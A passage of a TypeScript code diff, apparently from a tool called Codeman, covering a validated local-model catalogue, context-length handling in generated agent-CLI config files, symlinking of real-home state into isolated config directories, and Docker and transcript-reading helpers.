id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'),
label: z.string().min(1).max(80),
license: z.string().min(1).max(40),
paramsB: z.number().positive(),
bytes: positiveInt,
kvBytesPerToken: positiveInt,
contexts: z.array(positiveInt).min(1),
rank: z.number().int(),
speedPer100Gbps: z.number().positive().optional(),
tested: z.array(TestedOnSchema),
})
.strict();
const LocalHarnessEntrySchema = z
.object({
cli: z.string().min(1).max(24),
minContext: positiveInt,
rank: z.number().int(),
gated: z.boolean().optional(),
slowFirstTurn: z.boolean().optional(),
})
.strict();
const ChipEntrySchema = z
.object({
match: z.string().min(1).max(40),
gbps: z.number().positive(),
})
.strict();
const PromptCacheTierSchema = z
.object({
minMemGb: z.number().int().nonnegative(),
bytes: z.number().int().nonnegative(),
})
.strict();
/** The index of the first value that already occurred earlier in the list, or -1. */
function firstRepeat<T>(values: readonly T[]): number {
const seen = new Set<T>();
for (let i = 0; i < values.length; i++) {
if (seen.has(values[i])) return i;
seen.add(values[i]);
}
return -1;
}
/**
* Validates a whole catalogue: every field, then the rules that hold across rows (see the file
* header). Typed against `LocalModelCatalog`, so the two cannot drift apart.
*/
export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z
.object({
schema: z.literal(1),
updated: isoDate,
minMacosMajor: positiveInt,
promptCacheTiers: z.array(PromptCacheTierSchema).min(1),
models: z.array(LocalModelEntrySchema),
harnesses: z.array(LocalHarnessEntrySchema),
chips: z.array(ChipEntrySchema),
})
.strict()
.superRefine((catalog, ctx) => {
const issue = (path: (string | number)[], message: string): void => {
ctx.addIssue({ code: 'custom', path, message });
};
// A repeated id would make "the model" ambiguous, a repeated rank would make the order of
// two models depend on where they sit in the array.
const repeatedId = firstRepeat(catalog.models.map((m) => m.id));
if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique');
const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank));
if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique');
const harnessClis = catalog.harnesses.map((h) => h.cli);
const repeatedCli = firstRepeat(harnessClis);
if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once');
const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank));
if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique');
catalog.models.forEach((model, m) => {
for (let i = 1; i < model.contexts.length; i++) {
if (model.contexts[i] >= model.contexts[i - 1]) {
issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats');
break;
}
}
// An entry for a harness the catalogue does not list could never match a candidate: a typo.
model.tested.forEach((entry, t) => {
if (!harnessClis.includes(entry.cli)) {
issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue');
}
});
});
// Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text
// is the less specific of the two, so it is in the wrong place. A repeated match is the same
// mistake.
for (let later = 1; later < catalog.chips.length; later++) {
const laterMatch = catalog.chips[later].match.toLowerCase();
const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase()));
if (shadowing) {
issue(
['chips', later, 'match'],
`chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'`
);
break;
}
}
// The tiers are read as "the last one whose minimum is not above this Mac's memory", so they
// must start at 0 (every Mac has a tier) and ascend.
if (catalog.promptCacheTiers[0].minMemGb !== 0) {
issue(['promptCacheTiers', 0, 'minMemGb'], 'the first prompt cache tier must start at 0');
}
for (let i = 1; i < catalog.promptCacheTiers.length; i++) {
if (catalog.promptCacheTiers[i].minMemGb <= catalog.promptCacheTiers[i - 1].minMemGb) {
issue(['promptCacheTiers', i, 'minMemGb'], 'prompt cache tiers must ascend by minMemGb');
break;
}
}
});
const KIB = 1024;
const MIB = 1024 ** 2;
const GIB = 1024 ** 3;
/**
* The catalogue that ships with Codeman. Never read directly outside this file and its test:
* callers use `getLocalModelCatalog()`, which validates it first.
*/
export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-06',
// The oldest macOS the model runtime supports.
minMacosMajor: 14,
// Host memory the runtime's prompt cache may take beside the model: 512 MiB on a Mac below
// 32 GB, 2 GiB from 32 GB. Part of the need of every candidate.
promptCacheTiers: [
{ minMemGb: 0, bytes: 512 * MIB },
{ minMemGb: 32, bytes: 2 * GIB },
],
// Ordered by rank. The higher rank wins among models that fit equally well and are equally
// fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it
// has an open bug with tool arguments.
models: [
{
id: 'qwen3.5:9b',
label: 'Qwen3.5 9B',
license: 'Apache-2.0',
paramsB: 9,
bytes: 6_550_825_373,
kvBytesPerToken: 32 * KIB,
contexts: [65536, 32768],
rank: 1,
// 37.1 tokens per second measured on 400 GB/s.
speedPer100Gbps: 9.3,
tested: [],
},
{
id: 'qwen3.5:9b-q8_0',
label: 'Qwen3.5 9B (Q8)',
license: 'Apache-2.0',
paramsB: 9,
bytes: 10_449_217_949,
kvBytesPerToken: 32 * KIB,
contexts: [65536, 32768],
rank: 2,
// Not measured: the 9.3 of the row above scaled by file size.
speedPer100Gbps: 5.8,
tested: [],
},
{
id: 'gpt-oss:20b',
label: 'GPT-OSS 20B',
license: 'Apache-2.0',
paramsB: 20,
bytes: 13_793_441_427,
kvBytesPerToken: 24 * KIB,
contexts: [131072, 65536],
rank: 3,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
{
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
license: 'Apache-2.0',
paramsB: 35,
bytes: 22_621_314_161,
kvBytesPerToken: 20 * KIB,
contexts: [131072, 65536],
rank: 4,
// 54.5 tokens per second measured on 400 GB/s (3 billion parameters are active per token).
speedPer100Gbps: 13.6,
tested: [],
},
{
id: 'qwen3.8:27b',
label: 'Qwen3.8 27B',
license: 'Apache-2.0',
paramsB: 27.8,
bytes: 17_741_871_939,
kvBytesPerToken: 64 * KIB,
contexts: [131072, 65536, 32768],
rank: 5,
// 11.8 tokens per second measured on 400 GB/s.
speedPer100Gbps: 2.95,
tested: [],
},
{
id: 'qwen3.8:27b-q8_0',
label: 'Qwen3.8 27B (Q8)',
license: 'Apache-2.0',
paramsB: 27.8,
bytes: 29_978_241_837,
kvBytesPerToken: 64 * KIB,
contexts: [262144, 131072],
rank: 6,
// Not measured: the 2.95 of the row above scaled by file size.
speedPer100Gbps: 1.7,
tested: [],
},
{
id: 'qwen3.5:122b-a10b',
label: 'Qwen3.5 122B-A10B',
license: 'Apache-2.0',
paramsB: 122,
bytes: 81_370_035_877,
kvBytesPerToken: 24 * KIB,
contexts: [131072],
rank: 7,
// No speed figure: its speed is unknown on every chip.
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
// M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
chips: [
{ match: 'M5 Ultra', gbps: 1228 },
{ match: 'M3 Ultra', gbps: 800 },
{ match: 'M2 Ultra', gbps: 800 },
{ match: 'M1 Ultra', gbps: 800 },
{ match: 'M5 Max', gbps: 460 },
{ match: 'M4 Max', gbps: 410 },
{ match: 'M3 Max', gbps: 300 },
{ match: 'M2 Max', gbps: 400 },
{ match: 'M1 Max', gbps: 400 },
{ match: 'M5 Pro', gbps: 307 },
{ match: 'M4 Pro', gbps: 273 },
{ match: 'M3 Pro', gbps: 150 },
{ match: 'M2 Pro', gbps: 200 },
{ match: 'M1 Pro', gbps: 200 },
{ match: 'M5', gbps: 154 },
{ match: 'M4', gbps: 120 },
{ match: 'M3', gbps: 100 },
{ match: 'M2', gbps: 100 },
{ match: 'M1', gbps: 68 },
],
};
let validated: LocalModelCatalog | undefined;
/**
* The catalogue in force: the stock constant, validated once on first use. Callers go through
* this function, so a later stage can change where the catalogue comes from without touching
* them. Throws when the constant breaks its own schema, which the catalogue test rules out.
*/
export function getLocalModelCatalog(): LocalModelCatalog {
validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG);
return validated;
}
+7
View File
@@ -46,3 +46,10 @@ export const MAX_STALLED_PATH_PROBES = Math.min(
PATH_PROBE_STALL_CEILING,
envInt('CODEMAN_PATH_PROBE_MAX_STALLED', Math.max(1, PATH_PROBE_STALL_CEILING - 1), 1, 64)
);
/**
* How long a session waits before trying again to resolve its workspace's symlinks
* after the folder did not answer, so a mount that recovers is picked up (the pane
* directory reading stays in the resolved spelling meanwhile).
*/
export const WORKSPACE_REALPATH_RETRY_MS = 60_000;
+35 -8
View File
@@ -52,18 +52,22 @@ export interface CustomModelHost {
defaultModelId?: string;
/**
* Discovered context-window size (tokens) per model id, keyed by the same strings as
* `models`. Populated opportunistically during discovery (`custom-model-routes.ts`) from
* llama.cpp/llama-swap's `GET /props?model=<id>` — the plain OpenAI-shaped `/v1/models`
* response has no such field. Only ever probed for a model the server already reports as
* loaded (llama-swap's `status.value === 'loaded'`); an unloaded one is deliberately never
* probed, since llama-swap treats `/props?model=` as a routing hint that can trigger an
* actual (slow, GPU-swapping) model load as a side effect of merely asking. A model this
* has no entry for simply gets no context-length env override applied — never a guess.
* `models`. Populated only by discovery (`custom-model-routes.ts`), from the strongest
* source the server offers: the llama-swap launch command reported by `GET /running`
* (the source of truth for a loaded model), then llama.cpp's `GET /props?model=<id>`
* `n_ctx` (only ever probed for a model the server already reports as loaded, since
* llama-swap treats `/props?model=` as a routing hint that can trigger an actual
* (slow, GPU-swapping) model load as a side effect of merely asking), then the model's
* own `GET /v1/models` entry (`context_length`, else `context_window`, which current
* llama-swap, Bifrost and OpenRouter-style servers each state to varying degrees). A
* model with no entry here falls back to the endpoint's `defaultContextLength`; with
* neither, it simply gets no context-length env override applied, never a guess.
*/
modelContextLengths?: Record<string, number>;
/**
* Discovered number of parallel server slots per model id, keyed like `modelContextLengths`
* and populated on the same loaded-models-only basis. Read from the launch command's
* but populated only for models the server reports loaded (a listing never states a slot
* count, unlike `contextLengths`, which every entry can supply). Read from the launch command's
* `--parallel`/`-np` when it states one, otherwise from llama.cpp's own `/props`
* `total_slots` (a llama-server started without `--parallel` picks the count itself, so
* the command cannot say). llama-server splits its context across these slots (by default
@@ -88,6 +92,29 @@ export interface CustomModelHost {
* server-side check relies on.
*/
modelSizesGB?: Record<string, number>;
/**
* User-set fallback context length (tokens), applied via
* `resolveCustomModelContextLength()` at every read site (the swap route, the
* quick-start route, boot recovery) only when `modelContextLengths` has no entry for
* the selected model (a gateway that states no per-model figure, a model never loaded
* yet). It is the model's WHOLE window, never a per-slot figure: the Claude floor
* check divides it by any stored slot count exactly like a discovered figure. Never
* written by discovery, so a value set in the endpoint editor survives every
* re-discovery sweep; unset keeps the long-standing behaviour of letting each CLI
* assume its own default.
*/
defaultContextLength?: number;
}
/**
* The context window to apply for `modelId` on `host`: the discovered per-model figure when
* discovery has one, else the endpoint's user-set `defaultContextLength`, else undefined
* (no override applied, never a guess). ONE helper for every read site: the swap route,
* the quickstart route and boot recovery each re-write the CLI's config files, and a site
* that forgot the fallback silently loses the endpoint default on the next respawn.
*/
export function resolveCustomModelContextLength(host: CustomModelHost, modelId: string): number | undefined {
return host.modelContextLengths?.[modelId] ?? host.defaultContextLength;
}
export function customModelHostsPath(configDir: string): string {
+122 -25
View File
@@ -10,9 +10,9 @@
* cli-registry changes" requirement it was written against.
*/
import { chmodSync, existsSync, mkdirSync, readFileSync, writeFileSync, rmSync, symlinkSync } from 'node:fs';
import { chmodSync, existsSync, lstatSync, mkdirSync, readFileSync, writeFileSync, rmSync, symlinkSync } from 'node:fs';
import { homedir, platform } from 'node:os';
import { join, dirname } from 'node:path';
import { join, dirname, isAbsolute } from 'node:path';
import { dataPath } from './config/instance.js';
import type { CliEntry } from './config/cli-registry/types.js';
import {
@@ -30,25 +30,99 @@ export function customModelConfigDir(sessionId: string): string {
* Writes a `ConfigDirInjection`'s files under `baseDir` and returns the full
* envOverrides object a caller should merge into the session/process env
* (the dir-redirect var plus any `extraEnv` the config file references by
* name). Never touches anything outside `baseDir` — the caller is
* responsible for choosing an isolated directory (never the user's real
* `~/.codex`, `~/.pi`, etc.).
* name). The generated files stay under `baseDir`, but a recipe that declares
* `linkFromRealHome` additionally links (and, for missing directory targets,
* creates) entries in the CLI's REAL home: the caller is still responsible
* for choosing an isolated `baseDir` (never the user's real `~/.codex`,
* `~/.pi`, etc.), it is just no longer the only directory touched.
*
* pi and omp embed the API key literally in the file, so the tree is written
* 0700/0600 like every other secret-bearing file under `~/.codeman`; the chmod
* covers a re-apply onto a file that already exists (`mode` only applies at
* creation).
*/
export function applyConfigDirInjection(baseDir: string, injection: ConfigDirInjection): Record<string, string> {
export function applyConfigDirInjection(
baseDir: string,
injection: ConfigDirInjection,
/**
* The value this SESSION's own env overrides set for `injection.dirEnvVar`, when it
* set one: a user who relocated the CLI's real home (an allowlisted key like
* DSH_HOME) must have their state linked from THAT directory, not the server's.
*/
sessionHomeOverride?: string
): Record<string, string> {
for (const file of injection.files) {
const filePath = join(baseDir, file.relPath);
mkdirSync(dirname(filePath), { recursive: true, mode: 0o700 });
writeFileSync(filePath, file.content, { encoding: 'utf8', mode: 0o600 });
chmodSync(filePath, 0o600);
}
linkRealHomeEntries(baseDir, injection, sessionHomeOverride);
return { [injection.dirEnvVar]: baseDir, ...injection.extraEnv };
}
/**
* Symlinks the registry recipe's `linkFromRealHome` entries out of the CLI's real home
* into the otherwise-isolated `baseDir`, so redirecting `dirEnvVar` moves only the
* generated config file and not the state that has to survive the session (deepseek:
* the `sessions` transcript root `removeConfigDir` would otherwise delete, the `profiles`
* bundles the patch composes over, and `settings.yaml`). Declared per entry in stock.ts:
* this consumer is recipe-driven and names no CLI itself.
*
* Home resolution: the session's own override first (unless it IS `baseDir`, a re-apply
* onto a session already holding a previous injection's value must not self-link), then
* the server's environment, then the recipe's `realHomeFallback`. Only ABSOLUTE values
* are considered: a set-but-relative `DSH_HOME`-style home resolves against the CLI's
* cwd, and joining it here would mkdir/symlink under the SERVER's working directory and
* leave relative links that dangle. No home resolvable =
* no links, same best-effort posture as `linkSharedProjectsDir()`.
*/
function linkRealHomeEntries(baseDir: string, injection: ConfigDirInjection, sessionHomeOverride?: string): void {
const names = injection.linkFromRealHome;
if (!names || names.length === 0) return;
const absoluteOnly = (value: string | undefined): string | undefined =>
value && isAbsolute(value) ? value : undefined;
const fromSession = sessionHomeOverride?.trim();
const realHome =
absoluteOnly(fromSession && fromSession !== baseDir ? fromSession : undefined) ||
absoluteOnly(process.env[injection.dirEnvVar]?.trim()) ||
(injection.realHomeFallback ? join(homedir(), injection.realHomeFallback) : undefined);
if (!realHome) return;
const dirs = new Set(injection.linkFromRealHomeDirs ?? []);
for (const name of names) {
linkRealHomeEntry(join(realHome, name), join(baseDir, name), dirs.has(name));
}
}
function linkRealHomeEntry(target: string, link: string, isDir: boolean): void {
// lstat, never existsSync: existsSync is false for a DANGLING link, and recovery
// re-applies on every restart, so the second pass would try to recreate the link and
// throw EEXIST. lstat answers for real entries, good links and dangling links alike.
try {
if (lstatSync(link)) return; // already linked (idempotent re-apply) or a real dir wrote one
} catch {
// ENOENT: nothing is here yet, the only state in which a link gets created
}
if (!existsSync(target)) {
if (!isDir) return; // missing FILE target: skip, never plant a dangling file link
// Missing DIRECTORY target: a dangling directory link is not inert, since the CLI's own
// recursive mkdir THROUGH it fails ENOENT on every turn (dsh writing under
// `$DSH_HOME/sessions` on a fresh/relocated home). Create it first, 0700, exactly
// what dsh itself does on a first turn.
try {
mkdirSync(target, { recursive: true, mode: 0o700 });
} catch {
return; // e.g. the target's parent refuses writes: no link rather than a dangling one
}
}
try {
symlinkSync(target, link, platform() === 'win32' ? 'junction' : 'dir');
} catch {
// best-effort only: a platform that refuses symlinks keeps the documented
// side effect for this session rather than failing the whole apply over it
}
}
/**
* Real, shared Claude config directory Codeman's own host process runs under — honors
* `CLAUDE_CONFIG_DIR` the same way `claude-credentials.ts`'s `claudeCredentialsPath()`
@@ -61,22 +135,30 @@ function realClaudeConfigDir(): string {
}
/**
* Symlinks `<isolatedDir>/projects` back to the real, shared `~/.claude/projects`, so an
* isolated `CLAUDE_CONFIG_DIR` (used to keep an injected API key away from a stored OAuth
* session — see `configDirVar` on customModelInjection) doesn't also blind the response
* viewer, subagent windows, and Read My Mind for that session (docs/wiki/Agent-CLIs.md).
* Best-effort: a platform that refuses symlinks (unprivileged Windows without a junction
* fallback working, e.g.) just keeps the pre-existing documented side effect instead of
* failing the whole custom-model apply over a nice-to-have.
* Symlinks `<isolatedDir>/projects` back to the session's own config dir when it set one,
* else the real, shared `~/.claude/projects`, so an isolated `CLAUDE_CONFIG_DIR` (used to
* keep an injected API key away from a stored OAuth session, see `configDirVar` on
* customModelInjection) doesn't also blind the response viewer, subagent windows, and Read
* My Mind for that session (docs/wiki/Agent-CLIs.md). Best-effort: a platform that refuses
* symlinks (unprivileged Windows without a junction fallback working, e.g.) just keeps the
* pre-existing documented side effect instead of failing the whole custom-model apply over
* a nice-to-have.
*
* The own dir matters beyond that: the resume pin looks in `<isolatedDir>/projects`, so the
* server's tree would hide the conversation on apply and keep the endpoint's transcript out
* of the own dir's sight on clear. Same absolute-only and no-self-link rules as
* `linkRealHomeEntries()`, and a relative value of the server's own gets no link, since
* joining it would create `projects` under the server's working directory.
*
* ⚠️ The link target is a user-chosen path and `linkRealHomeEntry()` probes and creates it
* synchronously: every caller of `applyCustomModelInjection` passes a lookup that went
* through `guardSessionConfigDirHome()` first (rule #516).
*/
function linkSharedProjectsDir(isolatedDir: string): void {
const link = join(isolatedDir, 'projects');
if (existsSync(link)) return; // already linked (idempotent re-apply) or real dir wrote one
try {
symlinkSync(join(realClaudeConfigDir(), 'projects'), link, platform() === 'win32' ? 'junction' : 'dir');
} catch {
// best-effort only — response viewer/subagent windows go blind for this session instead
}
function linkSharedProjectsDir(isolatedDir: string, sessionConfigDir?: string): void {
const own = sessionConfigDir?.trim();
const configDir = own && own !== isolatedDir && isAbsolute(own) ? own : realClaudeConfigDir();
if (!isAbsolute(configDir)) return;
linkRealHomeEntry(join(configDir, 'projects'), join(isolatedDir, 'projects'), true);
}
/**
@@ -227,6 +309,8 @@ export interface AppliedCustomModel {
envKeys: string[];
configDir?: string;
launchModel?: string;
/** The env key among `envKeys` that moves the CLI's home, see `CustomModelBookkeeping`. */
homeEnvVar?: string;
}
/**
@@ -250,7 +334,13 @@ export function applyCustomModelInjection(
* trust-dialog seed, and only when provided (boot recovery, which has no reason to
* re-answer a dialog that already fired once, omits it rather than re-deriving it).
*/
workingDir?: string
workingDir?: string,
/**
* Reads one env var from the SESSION's own env overrides (single-key on purpose: the
* map carries credentials). Resolves the CLI's real home from the session's value before
* the server's: `linkFromRealHome` for the `configDir` kind, `projects` for `configDirVar`.
*/
sessionEnvLookup?: (envVar: string) => string | undefined
): AppliedCustomModel | undefined {
const injection = buildCustomModelInjection(entry, endpoint, modelId, contextLength);
if (injection.kind === 'unsupported') return undefined;
@@ -265,7 +355,7 @@ export function applyCustomModelInjection(
if (injection.configDirVar) {
configDir = customModelConfigDir(sessionId);
mkdirSync(configDir, { recursive: true, mode: 0o700 });
linkSharedProjectsDir(configDir);
linkSharedProjectsDir(configDir, sessionEnvLookup?.(injection.configDirVar));
if (injection.apiKeyTrustFile && injection.apiKey) {
seedApiKeyTrustFile(configDir, injection.apiKeyTrustFile, injection.apiKey);
}
@@ -280,9 +370,16 @@ export function applyCustomModelInjection(
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.configDirVar,
};
}
const configDir = customModelConfigDir(sessionId);
const envOverrides = applyConfigDirInjection(configDir, injection);
return { envOverrides, envKeys: Object.keys(envOverrides), configDir, launchModel: injection.launchModel };
const envOverrides = applyConfigDirInjection(configDir, injection, sessionEnvLookup?.(injection.dirEnvVar));
return {
envOverrides,
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.dirEnvVar,
};
}
+104 -11
View File
@@ -87,6 +87,12 @@ export interface ConfigDirInjection {
* `customModelInjection.launchModel` template, never hand-built per CLI.
*/
launchModel?: string;
/** Carried from the registry recipe, see `cli-registry/types.ts` `linkFromRealHome`. */
linkFromRealHome?: string[];
/** Carried from the registry recipe, see `cli-registry/types.ts` `linkFromRealHomeDirs`. */
linkFromRealHomeDirs?: string[];
/** Carried from the registry recipe, see `cli-registry/types.ts` `realHomeFallback`. */
realHomeFallback?: string;
}
export interface UnsupportedInjection {
@@ -136,14 +142,22 @@ export function buildCustomModelInjection(
}
case 'configContentEnv': {
const content = renderConfigContent(cap.template, endpoint, modelId, apiKey);
const content = renderConfigContent(cap.template, endpoint, modelId, apiKey, contextLength);
return withLaunchModel({ kind: 'env', envOverrides: { [cap.envVar]: content } }, cap.launchModel, modelId);
}
case 'configDir': {
const { content, extraEnv } = renderConfigFile(cap.template, endpoint, modelId, apiKey);
const { content, extraEnv } = renderConfigFile(cap.template, endpoint, modelId, apiKey, contextLength);
return withLaunchModel(
{ kind: 'configDir', dirEnvVar: cap.dirEnvVar, files: [{ relPath: cap.fileName, content }], extraEnv },
{
kind: 'configDir',
dirEnvVar: cap.dirEnvVar,
files: [{ relPath: cap.fileName, content }],
extraEnv,
...(cap.linkFromRealHome ? { linkFromRealHome: cap.linkFromRealHome } : {}),
...(cap.linkFromRealHomeDirs ? { linkFromRealHomeDirs: cap.linkFromRealHomeDirs } : {}),
...(cap.realHomeFallback ? { realHomeFallback: cap.realHomeFallback } : {}),
},
cap.launchModel,
modelId
);
@@ -164,41 +178,114 @@ function withLaunchModel<T extends EnvInjection | ConfigDirInjection>(
return { ...result, launchModel: template.split('{modelId}').join(modelId) };
}
/**
* One quarter of the window is held back for the reply, capped at 8192 tokens (a small local
* model's window must not lose a disproportionate slice to the reservation). Returns undefined
* for an unknown or non-finite size: opencode then keeps its own default guess, which is the
* pre-fix behaviour; never invent a limit here.
*/
function opencodeModelLimit(contextLength: number | undefined): { context: number; output: number } | undefined {
if (contextLength === undefined || !Number.isFinite(contextLength)) return undefined;
const total = Math.trunc(contextLength);
if (total <= 0) return undefined;
const output = Math.max(1, Math.min(8192, Math.floor(total / 4)));
// `limit.context` is the FULL window as far as opencode is concerned: it reserves for
// the reply itself, so the discovered total is passed through, never a shrunk figure.
return { context: total, output };
}
function renderConfigContent(
template: 'opencode-json',
endpoint: CustomModelEndpoint,
modelId: string,
apiKey: string
apiKey: string,
contextLength?: number
): string {
switch (template) {
case 'opencode-json':
case 'opencode-json': {
// `limit` carries the discovered context window (issue #749): without it opencode assumes
// a large default window for an unrecognized model id and eventually overflows a much
// smaller local server. `context` is the FULL window and opencode reserves for the reply
// inside it itself, so `opencodeModelLimit` passes the real total through and only
// `output` gets the capped reservation.
const limit = opencodeModelLimit(contextLength);
return JSON.stringify({
$schema: 'https://opencode.ai/config.json',
provider: {
custom: {
options: { baseURL: withV1Suffix(endpoint.baseUrl), apiKey },
models: { [modelId]: {} },
models: { [modelId]: limit ? { limit } : {} },
},
},
model: `custom/${modelId}`,
});
}
}
}
const CODEX_API_KEY_ENV_VAR = 'CODEMAN_CUSTOM_MODEL_API_KEY';
/** The DEDICATED env var carrying a custom endpoint's API key for config-file recipes that
* reference keys by name (codex's `env_key`, deepseek's `apiKeyEnv`). Never a CLI-native
* name: dsh's own `llm-deepseek`/`web-search-deepseek` rows read `DEEPSEEK_API_KEY` too,
* so an in-session `/model` switch back to `deepseek-official` (or a profile with web
* search on) would otherwise send the custom endpoint's key to api.deepseek.com. Both
* entries list it in `privilegedEnvKeys` (stock.ts) like each other's redirect vars.
*/
const CUSTOM_MODEL_API_KEY_ENV_VAR = 'CODEMAN_CUSTOM_MODEL_API_KEY';
/** The `[model.<name>]` block name grok's config.toml uses for the injected model — also
* what `-m <name>` in the standalone script's ONE_SHOT argv must reference to select it. */
export const GROK_CUSTOM_MODEL_NAME = 'codeman-custom';
function renderConfigFile(
template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml',
template: 'codex-toml' | 'pi-models-json' | 'omp-models-yml' | 'grok-toml' | 'deepseek-patch-json',
endpoint: CustomModelEndpoint,
modelId: string,
apiKey: string
apiKey: string,
contextLength?: number
): { content: string; extraEnv?: Record<string, string> } {
const baseUrl = withV1Suffix(endpoint.baseUrl);
switch (template) {
case 'deepseek-patch-json': {
const route = { provider: 'codeman-custom', model: modelId };
return {
content: JSON.stringify(
[
{
id: 'llm-pi-ai',
name: '@deepseek-ai/dsh-llm-pi-ai',
config: {
providers: {
'codeman-custom': {
// By NAME only (never the literal key, see CUSTOM_MODEL_API_KEY_ENV_VAR).
apiKeyEnv: CUSTOM_MODEL_API_KEY_ENV_VAR,
api: 'openai-completions',
baseURL: baseUrl,
models: [
{
id: modelId,
name: modelId,
...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
? {
contextWindow: Math.trunc(contextLength),
// A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
}
: {}),
},
],
},
},
},
},
{ id: 'dsh-tui', name: '@deepseek-harness-tui/dsh-tui', config: route },
{ id: 'agent-default-model', name: '@deepseek-ai/dsh-agent-default-model', config: route },
],
null,
2
),
extraEnv: { [CUSTOM_MODEL_API_KEY_ENV_VAR]: apiKey },
};
}
case 'codex-toml': {
// Verified against real codex (>= Feb 2026): `model` is a top-level STRING, never
// a `[model].default` table — codex rejects that with "invalid type: map, expected
@@ -217,15 +304,21 @@ function renderConfigFile(
const content = [
`model = ${quoted(modelId)}`,
`model_provider = "custom"`,
...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
? [
`model_context_window = ${Math.trunc(contextLength)}`,
`model_auto_compact_token_limit = ${Math.max(1, Math.floor(contextLength * 0.75))}`,
]
: []),
'',
'[model_providers.custom]',
`name = "Custom Endpoint"`,
`base_url = ${quoted(baseUrl)}`,
`env_key = ${quoted(CODEX_API_KEY_ENV_VAR)}`,
`env_key = ${quoted(CUSTOM_MODEL_API_KEY_ENV_VAR)}`,
`wire_api = "responses"`,
'',
].join('\n');
return { content, extraEnv: { [CODEX_API_KEY_ENV_VAR]: apiKey } };
return { content, extraEnv: { [CUSTOM_MODEL_API_KEY_ENV_VAR]: apiKey } };
}
case 'pi-models-json':
// Verified against pi's OWN bundled docs (models.md): `models` is an ARRAY of
File diff suppressed because it is too large. Load diff
+5 -5
View File
@@ -392,7 +392,7 @@ export function isAdoptedContainer(docker: Pick<SessionDocker, 'owned'>): boolea
/**
* POSIX single-quote shell-escaping (end-quote, escaped-quote, restart-quote).
* Mirror of the helper in remote-hosts.ts / tmux-manager.ts. Every dynamic value
* interpolated into the outer `bash -c "..."` launch layer is escaped through
* interpolated into the `bash -c` launch layer is escaped through
* this so a path with spaces stays a single shell token. Operator-entered fields
* are ALSO schema-rejected for `$`/backtick (NO_SHELL_META) as defense in depth.
*/
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
* string; argv arrays must NOT carry literal quotes (mirror of docker-export's
* dockerArgv).
*/
function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
if (docker.context) argv.push('--context', docker.context);
if (docker.daemonHost) argv.push('-H', docker.daemonHost);
@@ -1682,9 +1682,9 @@ export async function probeDockerCliVersion(
if (IS_TEST_MODE) return undefined;
// ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used
// to pass the mode straight through as the command, which would have probed a binary that
// does not exist. Only claude reaches this today (it is the one CLI with a version gate),
// so nothing was actually broken, but the registry is what makes it correct for the next
// CLI that needs a version.
// does not exist. Claude and codex reach this today (the CLIs with a version gate), and
// both binaries match their mode, so nothing was actually broken, but the registry is what
// makes it correct for the next CLI that needs a version.
const bin = getCli(mode)?.discovery.binaries[0];
if (!bin) return undefined; // `shell` has no binary of its own
const argv = dockerEngineArgv(docker);
+242
View File
@@ -0,0 +1,242 @@
/**
* @fileoverview Reads a local claude session's transcripts for its edit history: the main
* transcript and its subagent transcripts, each from a byte offset.
*
* WHICH FILE (`resolveClaudeTranscript`). The transcript watcher's path, which the session's
* hooks report, so a session is read from wherever its claude really writes. Before the first
* hook after a server restart the watcher has none, and `findClaudeTranscript` looks for
* `<id>.jsonl` under the session's own `CLAUDE_CONFIG_DIR` override, else the server's
* (`claudeProjectsDir()`, as the relaunch pin does). A config dir set outside Codeman is not
* guessed; it is found with the next hook. Subagents live in
* `<main path without .jsonl>/subagents/agent-<id>.jsonl`.
*
* HOW MUCH. A requested file is read from its `offset` (clamped to its size), an unrequested
* (new) one from `budget` bytes before its end, and a new subagent's `.meta.json` (≤ 8 KB)
* comes along. `budgetBytes` is shared by all files, main first; once spent, files still
* report their size with an empty chunk. A request with `len` is a block that must end at
* `offset + len` (an "older" block ends at the floor): short of budget, its end is read.
* With `onlyRequested` ("older" reads) unrequested files are left out.
*
